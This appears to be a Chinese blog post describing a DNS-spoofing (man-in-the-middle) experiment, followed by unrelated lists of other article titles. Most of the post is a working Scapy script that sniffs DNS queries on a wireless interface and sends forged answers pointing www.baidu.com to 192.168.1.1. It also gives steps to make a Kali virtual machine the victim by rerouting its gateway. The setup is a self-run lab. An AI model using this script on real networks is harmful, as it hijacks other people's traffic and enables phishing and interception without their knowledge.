原理:

dns欺骗又可以叫作中间人人攻击,主要是通过拦截受害人在访问某个网站时设备向外发送的dns请求,然后给出伪造的dns应答,实现欺骗过程。

实验脚本如下:

from scapy.layers.dns import *
from scapy.all import *
def dns_spoof(pkt):
testlist = ["www.baidu.com"]
#haslayer()用来判断数据包中是否包含某一个协议,getlayer()用来提取出该协议内容
if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:
ip = pkt.getlayer(IP)
udp = pkt.getlayer(UDP)
dns = pkt.getlayer(DNS)
testdomain = dns.qd.qname.decode()[: -1]
     #构造dns应答数据包,其中192.168.1.1为要伪造的网站的ip地址
if testdomain in testlist:
resp = IP(src=ip.dst, dst=ip.src)
resp /= UDP(sport=udp.dport, dport=udp.sport)
resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, rdata="192.168.1.1"))
send(resp)
print("DNS的应答已经被篡改")
sniff(filter="udp dst port 53", iface="WLAN", prn=dns_spoof)

实验过程:

因为我是用的wifi,所以在iface设置为WLAN。这里把虚拟机中的kali设为受害者,实体机作为攻击机。

1.查看实体机ip地址:

注意这里查看的ip应当为上图箭头指向区域所示的IPv4地址,然后把kali的网关设置为这个地址。

2.设置虚拟机网关:

这里使用的虚拟机为vm。通过点击上方的——编辑——虚拟网络编辑,来到如下界面

点击NAT设置,设置网关为前面所叫的ip地址:

另一个方法设置网关:在kali终端中使用如下命令

sudo route add default gw 网关地址

检验是否成功设置可以使用命令:route 查看

3.执行脚本

先运行上述脚本,然后在虚拟机中执行dig @222.222.222.222 www.baidu.com

成功劫持。讲一下这里的222.222.222.222是中国电信提供的dns服务器。一开始我用本地dns服务器测试,发现脚本同样返回劫持成功,但是在kali中不能直观的收到反馈。到底成没成功还待分析。

最新文章

  1. [Android Pro] 关于inputStream.available()方法获取文件的总大小
  2. reverse list
  3. ON DUPLICATE KEY UPDATE用法
  4. Codeforces 27E. Number With The Given Amount Of Divisors (暴力)
  5. 如何用C++语言编程(How to program in C++)
  6. python学习笔记4(列表)
  7. 【创建本地仓库】【for Centos】CentOS下创建本地repository
  8. Timeout for tests
  9. ASP.net ListItem Attributes 属性回传丢失的解决方案
  10. access数据库
  11. 新 Netflix 开源门户
  12. String、StringBuffer和StringBuilder
  13. python进程池剖析(三)
  14. HDU4355-Party All the Time-三分
  15. [R]dplyr及ggplot2中的变量引用列的问题
  16. json jmespath的使用
  17. docker-compose.yml(3)
  18. MySQL内存占用计算
  19. js实现抽奖
  20. Maven安装配置操作

热门文章

  1. Qemu/Limbo/KVM镜像:Ubuntu Mate 22.04+Wine 7.8
  2. TTD 专题 (第一篇):C# 那些短命线程都在干什么?
  3. tensorflow-gpu版本安装及深度神经网络训练与cpu版本对比
  4. Git的使用以及常用命令(详解)
  5. Vue学习之--------列表排序(ffilter、sort、indexOf方法的使用)、Vue检测数据变化的原理(2022/7/15)
  6. Dubbo-聊聊注册中心的设计
  7. 8.-Django应用及分布式路由
  8. Linux之Docker-01
  9. 嵌入式-C语言基础:指针偏移打印数组
  10. Go语言核心36讲19